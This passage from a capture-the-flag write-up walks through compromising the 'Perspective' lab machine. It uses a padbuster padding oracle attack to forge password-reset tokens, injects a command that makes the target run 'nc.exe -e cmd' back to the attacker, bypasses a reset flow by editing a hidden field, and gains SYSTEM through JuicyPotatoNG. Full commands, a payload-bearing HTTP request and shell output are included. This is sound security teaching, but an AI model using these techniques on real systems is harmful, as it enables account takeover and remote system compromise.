HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 12 Oct 2022 14:07:34 GMT
Connection: close
Content-Length: 86
Resetting Password for user: 0xdf@perspective.htb
...successfully changed password
If I add some characters (like “0xdf”) to the end of the token
, then it crashes:
The title gives a clear error about the Length of the data to decrypt being wrong. There’s a more complete error message down the page, first showing the code where the failure happens:
Then the full traceback:
If instead of adding characters, I just replace the last legit character “R” with a lowercase “r”, there’s a different error:
The error is in the same lines of code, and the traceback shows details:
Padding Oracle Attack
I’ve shown Padding Oracle Attacks a couple times, most recently in Overflow. I have a long description of the attack in the Lazy post. Because I can tell the difference between invalid date and bad padding, I can use that to brute force the encrypted data to get the stream of bytes used to encrypt/decrypt the value. With that, I can read the plaintext and forge new encrypted data.
padbuster
is the most common tool to perform this attack (though I wrote a custom tool to perform this attack for Smasher). I’m going to pass padbuster
the following arguments:
http://127.0.0.1:8009/handlers/changePassword.ashx
- The URL to attack;n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu
- The ciphertext;16
- The blocksize, which is typically 8 or 16; I’ll try both, but 16 is the one that works here;-post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5M kUmR9Tn9UWWcTUVMatbgk8ynhu'
- The POST body to send, including the ciphertext;-encoding 4
- Tellpadbuster
that the encrypted data is URL-safe base64 encoded;-error 'Padding is invalid'
- A string that comes back when the padding is wrong.
Running this take a long time, but it produces the plaintext from the token:
oxdf@hacky$ padbuster http://127.0.0.1:8009/handlers/changePassword.ashx n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu 16 -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu' -encoding 4 -error 'Padding is invalid'
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 86
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[+] Success: (133/256) [Byte 16]
[+] Success: (205/256) [Byte 15]
[+] Success: (231/256) [Byte 14]
[+] Success: (133/256) [Byte 13]
[+] Success: (249/256) [Byte 12]
[+] Success: (240/256) [Byte 11]
[+] Success: (205/256) [Byte 10]
[+] Success: (58/256) [Byte 9]
[+] Success: (75/256) [Byte 8]
[+] Success: (58/256) [Byte 7]
[+] Success: (199/256) [Byte 6]
[+] Success: (254/256) [Byte 5]
[+] Success: (127/256) [Byte 4]
[+] Success: (191/256) [Byte 3]
[+] Success: (108/256) [Byte 2]
[+] Success: (65/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): 79579405fabcf16c8187c8e4c914991f
[+] Intermediate Bytes (HEX): af9b4f8c0e32ccbcce3416027f1a317a
[+] Plain Text: 0xdf@perspective
*** Starting Block 2 of 2 ***
[+] Success: (238/256) [Byte 16]
[+] Success: (105/256) [Byte 15]
[+] Success: (229/256) [Byte 14]
[+] Success: (63/256) [Byte 13]
[+] Success: (19/256) [Byte 12]
[+] Success: (62/256) [Byte 11]
[+] Success: (116/256) [Byte 10]
[+] Success: (123/256) [Byte 9]
[+] Success: (151/256) [Byte 8]
[+] Success: (9/256) [Byte 7]
[+] Success: (69/256) [Byte 6]
[+] Success: (6/256) [Byte 5]
[+] Success: (150/256) [Byte 4]
[+] Success: (18/256) [Byte 3]
[+] Success: (208/256) [Byte 2]
[+] Success: (185/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): 539fd51659c4d454c6ad6e093cca786e
[+] Intermediate Bytes (HEX): 573fe067f6b0fd608d8bc4e8c5189513
[+] Plain Text: .htb
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): 0xdf@perspective.htb
[+] Decrypted value (HEX): 307864664070657273706563746976652E6874620C0C0C0C0C0C0C0C0C0C0C0C
[+] Decrypted value (Base64): MHhkZkBwZXJzcGVjdGl2ZS5odGIMDAwMDAwMDAwMDAw=
-------------------------------------------------------
The plaintext value is unsurprising, the email address associated with the account being reset.
If I grab both sets of “Intermediate Bytes” from that output, I can show how it’s working in Python:
>>> import base64
>>> ct = base64.b64decode('n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu', altchars='-_')
>>> stream = bytes.fromhex('af9b4f8c0e32ccbcce3416027f1a317a573fe067f6b0fd608d8bc4e8c5189513')
>>> ''.join([chr(c^s) for c,s in zip(ct, stream)])
'0xdf@perspective.htb\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
To forge my own token, I can run padbuster
with the additional -plaintext admin@perspective.htb
option:
oxdf@hacky$ padbuster http://127.0.0.1:8009/handlers/changePassword.ashx n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu 16 -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu' -encoding 4 -erro
r 'Padding is invalid' -plaintext 'admin@perspective.htb'
...[snip]...
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: abMcyqOSj42dTuhOhS1h02VdbQExKBnNvrHw4181N7oAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------
Reset Password
I’ll visit http://127.0.0.1:8009/Account/forgot?token=abMcyqOSj42dTuhOhS1h02VdbQExKBnNvrHw4181N7oAAAAAAAAAAAAAAAAAAAAA
and enter a new password. On submitting, it shows admin’s password has been reset:
And I can log into the staging instances as admin:
Command Injection
Strategy
Having access to the site as admin isn’t useful. Thinking back to PasswordReset.exe
, if I can control the token (which I now can via the padding oracle attack), it seems likely that there’s a command injection vulnerability in how PasswordReset.exe
is invoked.
Generate token
I’ll generate a malicious token with the encrypted value a@p.htb & \programdata\nc.exe -e cmd 10.10.14.6 443;
. I’m going with a really short email address because it doesn’t have to be valid, and executing the padding oracle attack is slow. Then I pass &
to continue to the next command. Then I invoke netcat to get a shell, and then close with a ;
as the real password will follow.
oxdf@hacky$ padbuster http://127.0.0.1:8009/handlers/changePassword.ashx vvxDte6f6DkOF0KsnnE5ZV7A1-OOE0j_M4InoYFcjTdnkZJsvrmihwXKeWHNxZYW 16 -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=vvxDte6f6DkOF0KsnnE5ZV7A1-OOE0j_M4InoYFcjTdnkZJsvrmihwXKeWHNxZYW' -encoding 4 -error 'Padding is invalid' -plaintext 'a@p.htb & \programdata\nc.exe -e cmd 10.10.14.6 443;'
...[snip]...
Block 4 Results:
[+] New Cipher Text (HEX): 33052bfba399f59b474bf9a54b542e9f
[+] Intermediate Bytes (HEX): 073118c0af95f9974b47f5a947582293
...[snip]...
Block 3 Results:
[+] New Cipher Text (HEX): 29c2663713379d889a1dfb13d09003dc
[+] Intermediate Bytes (HEX): 09a10b533306ada6ab2dd522e4be35fc
...[snip]...
Block 2 Results:
[+] New Cipher Text (HEX): 23fa6b9f90ff27bd7a226a8212345dea
[+] Intermediate Bytes (HEX): 42970ffee49e7bd3190c0ffa7714708f
...[snip]...
Block 1 Results:
[+] New Cipher Text (HEX): ed03cd090e692032999009fe01cc4a87
[+] Intermediate Bytes (HEX): 8c43bd27661d4212bfb0558e73a32df5
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: 7QPNCQ5pIDKZkAn-AcxKhyP6a5-Q_ye9eiJqghI0XeopwmY3EzediJod-xPQkAPcMwUr-6OZ9ZtHS_mlS1QunwAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------
Submit Token
I’ll go into Repeater and send the password reset command with this token
:
POST /handlers/changePassword.ashx HTTP/1.1
Host: 127.0.0.1:8009
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://127.0.0.1:8009
Connection: close
Referer: http://127.0.0.1:8009/Account/forgot?token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu
Cookie: wp-settings-1=mfold%3Do; wp-settings-time-1=1657556979; ASP.NET_SessionId=4rjvscghkfa5k0jvnkxgw0b3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
password1=0xdf!!!&password2=0xdf!!!&token=7QPNCQ5pIDKZkAn-AcxKhyP6a5-Q_ye9eiJqghI0XeopwmY3EzediJod-xPQkAPcMwUr-6OZ9ZtHS_mlS1QunwAAAAAAAAAAAAAAAAAAAAA
It hangs, but at nc
, I get a shell as administrator:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.151 62483
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
perspective\administrator
And I can grab the final flag:
PS C:\users\administrator\desktop> type root.txt
22e9ab4d************************
Beyond Root
Unintended Admin Website Access via Password Reset
Visiting /Account/forgot
starts with asking for an email address. If I enter “admin@perspective.htb”, it fails:
I’ll enter the account I registered and continue. Next it asks for my security questions. I’ll answer them correctly, and set Burp to intercept the POST request that comes when I click “Initiate Reset”:
The request looks like this:
I’ll try editing the EmailHidden
field by changing “0xdf” to “admin”. The response that comes back is a 500 error.
I’ll try again, but this time, I’ll leave the questions blank when I submit, and change the email:
On forwarding, it seems to work, presenting a form for a new password:
When I enter something, it says:
And I’m able to log in as admin:
This suggests that the block on admin users is only at the first submission, and now that I’m through that part, if I correctly get the admin’s questions (which are just blanks, since they can’t use this feature), I get the token and can reset.
This works on both the main site and on staging.
Unintended Root via Potato
Identify / Upload
When I get a shell as webuser via the deserialization attack, the process has the SeImpersonatePrivilege
:
PS C:\programdata> whoami
perspective\webuser
PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Worth noting, if I get a shell as the same user with SSH, it doesn’t:
webuser@PERSPECTIVE C:\Users\webuser>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
I can abuse SeImpersonate
with the latest Potato exploit, JuicyPotatoNG. I’ll download the compiled executable from the release page, and upload it to Perspective:
PS C:\programdata> wget 10.10.14.6/JuicyPotatoNG.exe -outfile jp.exe
Failures
Trying to run this fails:
PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c ping 10.10.14.6"
JuicyPotatoNG
by decoder_it & splinter_code
[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag.
It’s having issues with the COM server port. It suggests trying a different one. I’ll try a couple at random, but they don’t work. For example:
PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c ping 10.10.14.6" -l 9001
JuicyPotatoNG
by decoder_it & splinter_code
[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 9001
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag.
Find Port
The binary has a -s
flag to:
Seek for a suitable COM port not filtered by the Windows firewall
I’ll give that a run, and it identifies three ports that are open in the Windows firewall:
PS C:\ProgramData> .\jp.exe -s
JuicyPotatoNG
by decoder_it & splinter_code
[*] Finding suitable port not filtered by Windows Defender Firewall to be used in our local COM Server port.
[+] Found non filtered port: 80
[+] Found non filtered port: 443
[+] Found non filtered port: 5985
The above command won’t show any output through my Nishang online PowerShell reverse shell. I think it’s printing to stderr, which isn’t captured. I can upload nc64.exe
to get a shell that does, or just use the SSH shell. To test ports, the current session doesn’t need SeImpersonate
.
80 and 5985 won’t work because there are already services listening on them. But 443 is open. I’ll try that:
PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c ping 10.10.14.6" -l 443
At my box, tcpdump
sees the ICMP:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:41:27.329285 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 40
13:41:27.329327 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 1, length 40
13:41:28.337975 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 2, length 40
13:41:28.338022 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 2, length 40
13:41:29.357208 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 3, length 40
13:41:29.357253 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 3, length 40
13:41:30.369547 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 4, length 40
13:41:30.369583 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 4, length 40
Shell
I’ll upload nc64.exe
and run jp.exe
. It hangs:
PS C:\programdata> wget 10.10.14.6/nc64.exe -outfile nc.exe
PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c C:\\programdata\\nc.exe -e cmd 10.10.14.6 443" -l 443
At my listening nc
, there’s a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.151 49699
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system